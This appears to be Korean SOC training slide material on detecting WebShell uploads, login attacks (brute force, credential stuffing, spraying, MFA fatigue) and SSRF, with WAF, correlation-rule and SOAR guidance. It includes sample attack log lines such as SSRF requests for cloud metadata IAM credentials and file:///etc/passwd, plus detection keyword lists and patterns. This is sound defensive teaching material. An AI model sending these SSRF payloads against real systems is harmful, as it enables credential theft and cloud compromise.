백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

PART 7 · 탐지 설계

WebShell 탐지 룰 설계 — 체인형 3단계

업로드 직후 실행형 파일 호출, 명령 파라미터, 웹 프로세스 자식 실행을 체인으로 보는 룰이 강하다.

📤 1단계: Upload SignalPOST /upload
+ 파일명에 .php, .php5, .phtml,
.asp, .aspx, .jsp, .jspx 포함
또는 Content-Type: image/* 이나
파일 내용 ≠ 이미지
Confidence: Low — 많은 정상 업로드 포함
⚡ 2단계: File Execution Signal업로드 후 30분 이내
동일 IP가 /uploads/*.php 직접 호출
또는 ?cmd=, ?exec=, ?c= 파라미터 포함
200 응답 + 짧은 응답 크기 반복
Confidence: High — 즉시 분석 착수
🖥 3단계: Host Execution Signal웹서버 프로세스가 sh/bash 자식 생성
또는 /tmp/에 실행 파일 생성
또는 외부 wget/curl 아웃바운드
Confidence: Critical — P1 즉시 대응

예외 설계: 내부 보안 테스트 IP (허용 리스트), 웹 IDE 기능 (정상 .php 배포), CMS 플러그인 설치 기능, QA 환경 서버

SOAR 연동: 2단계 알람 발생 시 자동으로 → 해당 파일 격리, 업로드 디렉토리 접근 차단, IR 담당자 알림, EDR 스캔 트리거

보강 설명 업로드 직후 실행형 파일 호출, 명령 파라미터, 웹 프로세스 자식 실행을 체인으로 보는 룰이 강하다. 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

PART 7 · 인증 공격

Brute Force · Credential Stuffing · Password Spraying 차이

모두 로그인 공격이지만, 무엇을 고정하고 무엇을 바꾸는지가 다르다 — 탐지 전략도 달라진다.

 Brute Force1개 계정에 많은 비밀번호 시도
계정: 고정
비밀번호: 계속 변경
속도: 빠름 (초당 수백~수천)

admin:password1 → 401
admin:password2 → 401
admin:password3 → 401
...
admin:Admin123! → 200 ✓
탐지: 동일 계정 401 반복 → 임계치 초과 시 잠금
 Credential Stuffing유출된 계정 목록 대량 시도
계정: 유출 DB에서 계속 변경
비밀번호: 유출 DB와 쌍으로 고정
속도: 분산·느림 (탐지 회피)

user1:pass1 → 401
user2:pass2 → 401
user3:pass3 → 200 ✓
user4:pass4 → 401
탐지: 다중 계정 401 + 성공률 분석, 이상 IP/ASN
 Password Spraying여러 계정에 소수 비밀번호
계정: 계속 변경 (계정 잠금 회피)
비밀번호: 소수 고정 (흔한 비밀번호)
속도: 느림 (계정 잠금 회피용)

user1:Summer2024! → 401
user2:Summer2024! → 401
user3:Summer2024! → 200 ✓
탐지: 동일 비밀번호 다중 계정 시도 패턴

SOC 핵심: Credential Stuffing은 계정 잠금이 안 됨 (계정마다 1~2회만 시도). Password Spraying은 속도가 느려 탐지가 어려움 → 시간 창을 넓혀서 분석

보강 설명인증 공격 3종은 모두 로그인 공격이지만 무엇을 고정하고 바꾸는지가 다릅니다. 이 차이가 탐지 룰 설계에 직접 영향을 미칩니다.

Brute ForceCredential StuffingPassword Spraying

대표 신호

401 반복 뒤 302/200 1회는 성공 후보로 즉시 재검토
단일 계정 집중=Brute Force, 다중 계정 분산=Stuffing/Spraying

추가 확인

MFA 로그·세션 재발급·새 기기/새 국가 로그인 여부 확인
성공 뒤 관리자 메뉴·비밀번호 변경·권한 변경이 있는지 확인

실습 예시

계정 축과 IP 축 두 개의 집계 표를 동시에 그려 보기
Password Spraying은 6시간 창으로 넓게 보며 탐지하기

PART 7 · 인증 상태코드

인증 공격에서 상태코드 시퀀스를 읽어라

401 반복 후 갑자기 200 또는 302가 나오면 로그인 성공 가능성이 높다. 단 하나의 성공도 놓치면 안 된다.

상태코드	인증 맥락	주목 사항
401	인증 실패 (계정/비밀번호 틀림)	반복 횟수, 속도, 계정 패턴 분석
302	로그인 성공 → 대시보드 리다이렉트	대량 401 후 302 = 성공 신호 ⚠
200	로그인 성공 (SPA, API 방식)	응답 바디에 토큰/세션 포함 여부
429	Rate Limit 도달 — 방어 발동	429 후 다른 IP로 재시도 = 분산 공격
403	차단됨 (IP 차단, 계정 잠금)	방어 작동 확인. 우회 시도 모니터링

Brute Force 로그 시퀀스 예시

POST /login  401  admin:pass1
POST /login  401  admin:pass2
POST /login  401  admin:pass3
...  (×300번)
POST /login  302  admin:Admin2024!  ← 성공!
GET /dashboard  200  관리자 화면 접근

🎯 탐지 시나리오

Brute Force 탐지

동일 IP + 동일 계정 + 401 × 10회+ (5분 내)
초당 요청 속도 이상 탐지
비정상 UA (python, curl, 자동화 도구)

Credential Stuffing 탐지

다수 계정에 걸쳐 분산된 401 (1시간 내)
비정상 IP/ASN/지역에서 접근
401→200 성공률 분석 (1%+ = 의심)

시간 창 설계: Password Spraying은 계정 잠금 회피 위해 30분~1시간 간격 → 시간 창을 6시간으로 넓게 잡아야 탐지됨

보강 설명 401 반복 후 갑자기 200 또는 302가 나오면 로그인 성공 가능성이 높다. 단 하나의 성공도 놓치면 안 된다. 파일 업로드는 저장 자체보다 업로드된 파일이 해석·실행되는 순간이 더 위험하다. 업로드와 접근, 프로세스 생성, 외부 통신을 한 체인으로 봐야 한다.

UploadWebShell실행 체인

대표 신호

multipart/form-data 업로드 뒤 같은 경로의 .php/.jsp/.aspx 직접 접근
image/jpeg 같은 MIME 위장과 이중 확장자, 우회된 저장 경로
?cmd=, ?exec=, POST 파라미터로 명령 실행을 시도하는 패턴

추가 확인

업로드 디렉터리의 새 파일 해시·변경 시간·권한을 점검
웹서버 자식 프로세스의 쉘 실행과 외부 egress를 상관분석
백신/EDR와 웹 로그를 붙여 최초 업로드와 실제 실행 시점을 분리

실습 예시

업로드→실행→후속 명령까지의 최소 사건 체인을 4단계로 써 보기
정상 첨부 업로드와 악성 WebShell 업로드의 차이를 필드 중심으로 정리
탐지 룰에서 파일명, MIME, 저장 위치, 후속 접근을 함께 쓰는 이유 설명

PART 7 · 인증 탐지

인증 공격 탐지 룰과 MFA 우회 패턴

속도, 계정 패턴, 지역/IP 이상, MFA 우회까지 — 단일 로그 소스를 넘어 계정 관리 시스템과 연계해야 한다.

📋 인증 공격 탐지 룰 구조

속도 기반 (Rate-based)

동일 IP → /login POST 5분 내 10회+ = Alert
동일 계정 → 1시간 내 5회+ 실패 = 계정 잠금 고려

패턴 기반 (Pattern-based)

1시간 내 100개+ 계정에 401 = Stuffing 의심
동일 비밀번호 다수 계정 = Spraying 의심
401→200 성공 후 관리자 페이지 접근 = 즉시 Alert

지역/위협 기반 (Context-based)

Tor/VPN/proxy IP 로그인 = 위험도 상승
이전 로그인과 다른 국가에서 빠른 재로그인
알려진 유출 자격증명 DB와 매칭

🛡 MFA 우회 패턴

MFA Fatigue (Push Bombing)

MFA 승인 요청을 수십 번 반복 전송
사용자가 귀찮아서 수락할 때까지 시도
탐지: 단시간 내 MFA 요청 급증

SIM Swapping / SS7 공격

SMS 기반 MFA 우회
탐지: 갑자기 MFA 채널 변경 후 로그인

SOC 관점: MFA 성공 후에도 비정상 행동(새 기기, 다른 지역, 관리자 권한 행위) 모니터링 필수

보강 설명 속도, 계정 패턴, 지역/IP 이상, MFA 우회까지 — 단일 로그 소스를 넘어 계정 관리 시스템과 연계해야 한다. 인증 공격은 단순 실패 횟수보다 상태 전환과 성공 신호가 더 중요하다. 401·403·429·302·200의 순서가 사건 해석의 핵심이 된다.

Brute ForceCredential StuffingMFA

대표 신호

짧은 시간의 반복 로그인 실패와 계정/비밀번호 분포 변화
429 이후 다시 401 또는 302/200으로 전환되는 우회 패턴
같은 계정이 여러 IP에서 시도되거나 성공 직후 관리자 페이지 접근

추가 확인

MFA 단계 통과 여부, 세션 발급 여부, 토큰 재사용 여부 확인
성공 직후 다운로드·권한 변경·프로필 수정 같은 후속 행위 확인
공격 IP 리퓨테이션과 정상 출장/사내망 사용을 구분

미니 실습

Brute Force와 Credential Stuffing의 차이를 로그로 설명하기
429가 찍혔다고 끝난 사건이 아닌 이유를 문장으로 써 보기
SOAR 자동 차단 전에 확인해야 할 최소 조건을 정리하기

PART 7 · SSRF

SSRF: 서버가 대신 내부/외부로 요청하는 공격

공격자가 직접 접근할 수 없는 내부 서비스를 서버를 통해 간접 접근한다 — 클라우드 환경에서 특히 위험하다.

SSRF란?

웹 앱이 URL 파라미터를 받아 서버 측에서 HTTP 요청을 보낼 때, 공격자가 이 URL을 조작해 서버가 내부/외부 리소스에 접근하도록 유도하는 취약점

⚡ 주요 타겟

http://localhost/admin — 외부에서 막힌 로컬 관리자 인터페이스
http://192.168.x.x/internal — 내부망 서비스
http://169.254.169.254/latest/meta-data/ — AWS 클라우드 메타데이터 (IAM 자격증명 탈취 가능)
http://metadata.google.internal/ — GCP 메타데이터
file:///etc/passwd — 로컬 파일 접근 (파일 프로토콜)

🔑 SSRF 발생 가능 기능

고위험 기능

URL 미리보기, 링크 체크 기능
원격 이미지/파일 가져오기 (fetch URL)
Webhook URL 등록
PDF 생성 (HTML → PDF, 외부 URL 포함)
번역/분석 API에 URL 전달

클라우드 최대 위협: AWS EC2에서 SSRF 성공 시 169.254.169.254로 IAM 임시 자격증명 탈취 → 클라우드 전체 권한 탈취 가능

보강 설명SSRF(Server-Side Request Forgery)는 서버가 공격자 대신 내부/외부로 요청을 보내도록 유도하는 공격입니다. 내부망, 클라우드 메타데이터 서비스, 로컬호스트가 주요 타겟입니다.

SSRF서버 측 요청내부망

대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

PART 7 · SSRF 탐지

SSRF 로그 패턴과 탐지 — access.log + 아웃바운드 모두 봐야

SSRF는 웹 요청 자체보다 서버가 내부로 보내는 아웃바운드 트래픽에서 실제 영향을 확인할 수 있다.

🔍 access.log에서 SSRF 의심 패턴

URL 파라미터에 내부/특수 주소

GET /fetch?url=http://localhost/admin  200
GET /preview?link=http://169.254.169.254/latest/meta-data/iam/  200
GET /pdf?src=http://192.168.1.1/admin  200
GET /image?path=file:///etc/passwd  200
POST /webhook body=url=http://127.0.0.1:8080/internal-api

🚨 핵심 의심 키워드

localhost127.0.0.1 169.254.169.254metadata.google 192.168.10.0. file://dict:// gopher://ftp://

🛡 다중 증거 확인

아웃바운드 HTTP (Network Log)

웹 서버 → 169.254.169.254 HTTP 요청
웹 서버 → 내부 서버 비정상 접근
서버 → 외부 공격자 서버 (OOB SSRF)

응답 분석 (탐지 강화)

내부 서비스 응답이 외부로 반환됨
응답 바디에 IAM 키, 내부 IP, 설정값 포함
응답 크기 증가 = 내부 리소스 노출 가능

즉각 조치: SSRF 의심 즉시 → 해당 기능 URL 파라미터 검증 확인, 클라우드 메타데이터 접근 여부 확인, IAM 자격증명 즉시 교체 검토

보강 설명SSRF는 access.log보다 서버 아웃바운드 HTTP 로그에서 탐지됩니다. localhost, 169.254.169.254, 내부망 IP가 URL 파라미터에 나타나면 즉시 주목해야 합니다.

SSRF 탐지169.254.169.254내부망

대표 신호

127.0.0.1·localhost·169.254.169.254·내부 RFC1918 주소
file://·gopher://·dict:// 같은 비정상 프로토콜

추가 확인

Flow·DNS·CloudTrail·metadata access 흔적을 함께 확인
응답 바디에 키/토큰/내부 설정값이 들어갔는지 확인

실습 예시

preview/fetch/webhook/pdf 기능을 먼저 점검하기
메타데이터 접근은 자격증명 교체 판단까지 연결하기

PART 7 · SSRF Case Study

🔬 SSRF Case Study | 클라우드 메타데이터 → IAM 탈취 시나리오

SSRF 한 번으로 클라우드 전체가 위험해질 수 있다 — AWS 메타데이터 서비스를 통한 IAM 자격증명 탈취 흐름.

🔍

① SSRF 발견

GET /preview?url=
테스트로 내부 IP
200 응답 확인

→

☁

② 메타데이터 조회

url=http://169.254.
169.254/latest/
meta-data/iam/

→

🔑

③ IAM 자격증명

AccessKeyId
SecretAccessKey
Token 응답 수신

→

💥

④ 클라우드 장악

AWS CLI로 S3 접근
EC2 조작
RDS 데이터 탈취

실제 SSRF 로그 흔적

-- access.log
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
200 1842bytes

-- network log (아웃바운드)
src=web-server dst=169.254.169.254 port=80
→ AWS IMDSv1 메타데이터 서비스 접근

-- CloudTrail (이후 감지)
AssumeRole / ListBuckets / GetObject - 비정상 IP/시간

즉시 조치: ① 해당 기능의 URL 파라미터 즉시 비활성화 ② AWS CloudTrail에서 해당 IAM 역할 최근 활동 확인 ③ 임시 자격증명 즉시 폐기 ④ IMDSv2 (토큰 필요)로 업그레이드

예방 방법: IMDSv2 강제 적용, URL 허용 리스트 (외부 URL만 허용), 내부 IP 차단 필터, 메타데이터 IP 차단

보강 설명 SSRF 한 번으로 클라우드 전체가 위험해질 수 있다 — AWS 메타데이터 서비스를 통한 IAM 자격증명 탈취 흐름. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

PART 7 · 핵심 정리

PART 7 핵심 정리: 서버 장악과 계정 탈취의 경로를 알아야 한다

File Upload, WebShell, 인증 공격, SSRF는 각각 다른 경로로 서버와 계정을 장악한다.

핵심 탐지 포인트

📤

File Upload/WebShell — Upload+실행형 확장자 → 30분 내 직접 호출(?cmd=) → 호스트 프로세스 생성 = P1

🔑

인증 공격 — Brute Force(단일 계정 401×), Stuffing(다중 계정 분산), Spraying(느린 다수 계정) → 401→302 성공 탐지

🌐

SSRF — URL 파라미터에 localhost/169.254.169.254/내부망 IP → 서버 아웃바운드 확인 → 클라우드 IAM 확인

🔗

공통 — access.log 단독 분석 금지. 호스트·네트워크·계정 로그를 반드시 연결해 판단

공격	목적	핵심 신호
File Upload	WebShell 설치	.php 업로드→직접 호출
WebShell	서버 장악	?cmd= + 호스트 프로세스
Brute Force	계정 탈취	단일 계정 401 반복→302
Stuffing	유출 계정 악용	다수 계정 분산 401→소수 성공
SSRF	내부/클라우드 접근	URL에 localhost/169.254

다음 파트: WAF, 탐지 룰 고도화, 상관분석, SOAR 플레이북 — 탐지 운영 전체 구조

보강 설명 File Upload, WebShell, 인증 공격, SSRF는 각각 다른 경로로 서버와 계정을 장악한다. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

08

WAF · 탐지 룰 · 상관분석 · SOAR 운영

탐지 기술을 운영 프로세스와 연결하는 마지막 연결고리

55분 · 슬라이드 98–115

🛡 WAF의 역할과 한계

📊 탐지 룰 고도화

🔗 상관분석 설계

🤖 SOAR 플레이북

보강 설명 탐지 기술을 운영 프로세스와 연결하는 마지막 연결고리. SOAR는 단순 자동 차단이 아니라 반복되는 조사 절차를 표준화하고 분석가가 더 빨리 중요한 사건을 보게 만드는 도구다.

자동화에스컬레이션플레이북

플레이북 설계 기준

트리거 조건, 자동 조회, 자동 조치, 사람 승인 지점을 분리
오탐 비용이 큰 조치는 즉시 차단보다 검토 후 실행으로 설계
자동화는 로그 수집과 요약부터 시작해도 효과가 크다

추가 확인

자동 차단 전에 성공 신호가 있었는지, 관리자 자산인지 확인
리퓨테이션 조회 결과와 내부 allowlist를 함께 비교
플레이북 실행 이력과 결과 품질을 다시 학습해 임계값을 조정

미니 실습

알람 하나를 받아 5단계 플레이북으로 분해해 보기
자동화 가능한 단계와 사람이 판단해야 하는 단계를 구분하기
실패한 자동화가 더 큰 장애를 만들지 않게 하는 보호장치를 적어 보기

PART 8 · WAF

WAF: 강력하지만 우회될 수 있다 — 역할과 한계

WAF는 탐지의 첫 번째 레이어이지만 단독으로 충분하지 않다. SOC는 WAF 로그를 다른 소스와 반드시 결합해야 한다.

✅ WAF가 잘 하는 것

알려진 공격 패턴(OWASP CRS) 자동 차단
대규모 스캐닝/자동화 도구 1차 필터링
Rate Limiting으로 Brute Force 억제
패치 전 가상 패치 (Virtual Patching)
SQL/XSS/LFI 기본 패턴 즉시 차단

❌ WAF의 한계

고급 인코딩·우회 기법에 취약
HTTPS 내부 암호화된 payload (SSL 인스펙션 필요)
비즈니스 로직 공격은 탐지 불가
False Positive → 정상 서비스 차단 위험
0-day 공격은 알려진 패턴 없음
WebShell 호출, SSRF 내부 요청은 탐지 어려움

🏗 WAF를 SOC에서 활용하는 방법

WAF 로그 소스화

WAF 차단 로그를 SIEM에 수집
차단 패턴과 access.log의 우회 시도를 상관 분석
WAF가 차단했지만 우회 가능한 변형 모니터링

오탐 관리

차단 이벤트 정기 검토 → False Positive 줄이기
허용 리스트 기반 비즈니스 로직 제외
모드: 차단(Block) vs 탐지만(Detect) 상황별 사용

핵심: WAF는 탐지·차단의 1레이어이며, SOC는 WAF 로그를 포함해 access.log + app + host + network를 조합해야 실질 위협을 판단

보강 설명WAF는 강력하지만 만능이 아닙니다. 인코딩 우회, 업로드 바이패스, 0-day에 취약하며 False Positive도 많습니다. WAF 로그를 SOC의 첫 번째 신호 소스로 활용하는 방법을 설명합니…

WAFFalse Positive우회

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

PART 8 · 탐지 고도화

웹 탐지 룰 고도화 — Recall과 Precision의 균형

모든 것을 잡으려면 시끄러워지고, 조용하게 하면 놓친다 — 계층화된 룰 설계가 해답이다.

📐 계층화 룰 설계 원칙

1층: 광범위 탐지 (Broad Detection)

단순 패턴 매칭 (낮은 precision, 높은 recall)
알람 생성 → 분석가 대기열 진입
목표: 아무것도 놓치지 않기

2층: 문맥 필터링 (Contextual Filter)

반복성, 인코딩, 엔드포인트, UA 조합
오탐 억제 → 실제 분석 대상 축소
목표: 분석가 피로 감소

3층: 상관 에스컬레이션 (Correlated Escalation)

다중 공격 기법 연결, 호스트/네트워크 결합
자동 P1/P2 우선순위 부여
목표: 고우선순위 즉각 대응

🎯 공격 유형별 최적 탐지 층

공격 유형	핵심 탐지 층	핵심 지표
SQLi	1층+2층	Union/Sleep+반복성
XSS Stored	1층+3층	저장→관리자 조회
LFI	1층+2층	../+200+응답크기
CMDi	2층+3층	구분자+호스트 프로세스
WebShell	3층	Upload→실행→C2 체인
Brute Force	1층+2층	401 반복+속도
SSRF	1층+3층	내부 IP+아웃바운드

운영 원칙: 알람 수 줄이기 ≠ 탐지 포기. 우선순위 스코어링으로 분석가 에너지를 고위험에 집중시키는 것이 목표

보강 설명 모든 것을 잡으려면 시끄러워지고, 조용하게 하면 놓친다 — 계층화된 룰 설계가 해답이다. 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

PART 8 · 상관분석

웹 공격 상관분석 설계 — 단일 이벤트를 사건으로 만들기

좋은 상관분석은 단일 알람이 아닌 사건의 흐름을 보여주며, 분석가가 5분 내에 판단을 내릴 수 있게 한다.

📊 상관분석 유형

시간 상관 (Temporal Correlation)

동일 IP가 N시간 내에 A 이벤트 후 B 이벤트 발생

예: LFI 200 → 30분 내 CMDi 시도 = P1

IP 상관 (IP Correlation)

동일 IP/C-class에서 여러 서버/서비스 공격

예: 동일 IP가 /login + /upload + /admin 모두 시도

계층 상관 (Layer Correlation)

Web → App → Host → Network → Identity 증거 연결

예: access.log 의심 → host 프로세스 생성 = 확신

계정 상관 (Identity Correlation)

인증 공격 성공 후 계정의 비정상 행동

예: Brute Force 성공 → 같은 계정 관리자 권한 행위

🔗 상관분석 룰 예시

SIEM 상관 룰 (의사 코드)

RULE WebShell_Chain:
  WITHIN 30 minutes:
    Event1: POST /upload + extension in [.php,.asp,.jsp]
    FOLLOWED BY Event2: GET /uploads/*.php + cmd= param
    SAME src_ip
  TRIGGER Alert(severity=CRITICAL, priority=P1)
  ACTION block_ip + notify_ir + edr_scan

RULE Auth_Success_After_Brute:
  WITHIN 1 hour:
    Event1: /login 401 count >= 20
    FOLLOWED BY Event2: /login 302 (success)
    SAME src_ip, user_id
  TRIGGER Alert(severity=HIGH) + session_review

보강 설명 좋은 상관분석은 단일 알람이 아닌 사건의 흐름을 보여주며, 분석가가 5분 내에 판단을 내릴 수 있게 한다. 탐지는 문자열 매칭으로 끝나지 않는다. WAF 차단, 허용, 우회, 후속 성공 신호를 하나의 운영 프레임으로 묶어야 실제 사고를 놓치지 않는다.

WAF상관분석운영

핵심 포인트

차단 로그와 허용 로그를 분리해 보지 말고 같은 행위자의 연속 흐름으로 보기
룰 적중 횟수보다 우회 이후 성공 신호(status, bytes, response_time)가 더 중요할 수 있다
정탐·오탐·보류 기준을 명확히 문서화해야 운영 피로를 줄일 수 있다

추가 확인

WAF rule_id, decoded URI, App 로그를 함께 저장해 튜닝 근거 확보
자산 중요도와 관리자 표면 여부에 따라 같은 이벤트도 우선순위를 다르게 부여
상관분석에서 IP 외에 세션, 계정, 토큰, 파일경로도 키로 활용

실무 예시

차단→우회→성공으로 이어지는 3단계 상관규칙을 설계해 보기
WAF 차단만 보고 종료하면 놓치는 시나리오를 하나 적기
운영팀에 전달할 룰 튜닝 요구사항을 한 문장으로 정리

PART 8 · SOAR

SOAR 플레이북 — 탐지에서 대응까지 자동화

SOAR는 반복적인 조사 단계를 자동화해 분석가가 판단에만 집중하도록 한다.

🤖 대표 웹 공격 플레이북

SQLi / XSS 탐지 플레이북

① IP 위협 인텔리전스 조회 (자동)
② 동일 IP 최근 1시간 요청 집계 (자동)
③ 상태코드 변화 분석 (자동)
④ WAF 로그 대조 (자동)
⑤ 분석가에게 컨텍스트 제공 → 판단 요청

WebShell 탐지 플레이북 (P1)

① WAF → 해당 IP 즉시 차단 (자동)
② EDR → 파일 시스템 스캔 트리거 (자동)
③ 업로드 디렉토리 접근 차단 (자동)
④ IR 담당자 즉시 알림 (자동)
⑤ 증거 보존 스냅샷 시작 (자동)

⚙ SOAR 설계 원칙

자동화 범위 결정

Low Risk: 완전 자동화 (수집+분류만)
Medium Risk: 반자동 (수집+분석+판단 요청)
High Risk: 즉시 알림 + 일부 자동 억제
Critical: 자동 격리 + 즉각 에스컬레이션

플레이북 운영 지표

MTTD: 탐지까지 평균 시간
MTTR: 대응 완료까지 평균 시간
플레이북 커버리지: 전체 알람 중 자동화 %
False Positive 비율: 월별 추적

목표: P1 알람 발생 후 분석가가 5분 내에 판단 가능한 컨텍스트 자동 제공

보강 설명SOAR 플레이북은 탐지 알람이 발생했을 때 자동화된 조사 및 대응을 수행합니다. 분석가의 시간을 아끼고 대응 속도를 높입니다.

SOAR플레이북자동화

자동화 입력

탐지 이벤트에 자산 중요도·최근 24h 히스토리 보강
IP·계정·엔드포인트 기준으로 관련 이벤트를 묶음

사람 승인

서버 격리·대규모 차단·세션 강제 종료는 사람 승인 필요
고객 영향·업무 시간대·우회 가능성을 같이 판단

자동화 출력

티켓 생성·온콜 통지·증거 로그 자동 수집까지 연결
WAF 룰 임시 적용과 만료 시간도 같이 기록

PART 8 · 인증 공격

인증 공격 SOAR 플레이북 아이디어

반복 로그인 공격은 탐지 후 자동 조회와 제한 조치를 붙이기 좋은 영역이다.

🔍 Detect
반복 실패
429/401 패턴

→

📊 Enrich
IP/계정
24시간 이력

→

⚖️ Decide
관리자 여부
성공 여부

→

⚡ Act
차단·MFA
세션 재발급

🔄 자동 보강 조회

해당 IP·계정 최근 24시간 히스토리
관리자 계정이면 즉시 우선순위 상승
성공 전환 시 → 최근 로그인 위치·디바이스·행위 자동 확인

⚡ 자동 조치 옵션

임시 IP 차단 (NAT 오탐 주의)
추가 MFA 요구, 세션 재발급
정책 연계: SIEM 티켓 + 담당자 통지

⚠️ 자동 차단은 신중해야 한다 — NAT, SSO 장애 같은 정상 사건과의 구분 필수. 최종 판단은 맥락을 아는 사람이 한다.

보강 설명반복 로그인 공격은 탐지 후 자동 조회와 제한 조치를 붙이기 좋은 영역입니다. 자동화는 조사 속도를 높이되, 최종 판단은 맥락과 예외를 아는 사람이 합니다.

SOAR계정 보호자동 조회

대표 신호

401 반복 뒤 302/200 1회는 성공 후보로 즉시 재검토
단일 계정 집중=Brute Force, 다중 계정 분산=Stuffing/Spraying

추가 확인

MFA 로그·세션 재발급·새 기기/새 국가 로그인 여부 확인
성공 뒤 관리자 메뉴·비밀번호 변경·권한 변경이 있는지 확인

실습 예시

계정 축과 IP 축 두 개의 집계 표를 동시에 그려 보기
Password Spraying은 6시간 창으로 넓게 보며 탐지하기

SSRF

SSRF Server-Side Request Forgery

서버를 프록시로 만드는 공격 — 내부 자원을 노린다

⏱ 약 15분

보강 설명 서버를 프록시로 만드는 공격 — 내부 자원을 노린다 SSRF는 서버가 대신 요청을 보내게 만들어 내부망과 클라우드 메타데이터 같은 원래 보이지 않던 자원을 열게 만든다. 인바운드와 아웃바운드를 함께 봐야 한다.

내부 접근메타데이터egress

대표 신호

url=, target=, callback= 파라미터에 내부 IP/호스트/메타데이터 주소 지정
169.254.169.254, localhost, 127.0.0.1, 내부 RFC1918 주소 접근 시도
프리뷰·OCR·Webhook·이미지 다운로드 기능에서 비정상 egress 발생

추가 확인

VPC Flow, DNS, 프록시 로그로 실제 서버발 outbound가 있었는지 확인
클라우드 메타데이터 접근 후 IAM/토큰 사용 흔적이 이어졌는지 확인
URL 파싱 우회(스킴 변경, DNS rebinding, IPv6 표현) 가능성을 점검

미니 실습

SSRF 후보 파라미터를 기능 관점에서 3개 이상 적어 보기
외부 URL 요청 기능의 allowlist 기준을 제안해 보기
메타데이터 탈취 이후 이어질 수 있는 후속 행위를 타임라인으로 그리기

SSRF · 개념

SSRF는 서버가 대신 요청하게 만드는 공격이다

겉으로는 사용자가 URL을 넣은 것 같지만, 실제 위험은 서버가 내부/외부 자원에 대신 접속한다는 데 있다.

😈 공격자
URL 파라미터에
내부 주소 입력

→

🌐 웹 서버
입력 URL로
HTTP 요청 실행

→

🏠 내부 자원
localhost
메타데이터 API

🎯 공격 표면이 되기 쉬운 기능

profile image fetch, webhook, callback
URL preview, import by URL
PDF 생성, 썸네일 생성 기능

🎯 공격자가 노리는 대상

localhost, 127.0.0.1 → 관리자 포트
169.254.169.254 → 클라우드 메타데이터
내부망 RFC1918 대역

📌 access.log에는 외부 사용자의 요청이 남고, 실제 내부 호출은 egress/app 로그에서 보인다 → 단일 로그보다 요청-후속 호출 상관분석이 핵심

보강 설명겉으로는 사용자가 URL을 넣은 것 같지만, 실제 위험은 서버가 내부/외부 자원에 대신 접속한다는 데 있습니다.

SSRF서버가 대신 요청내부 자원

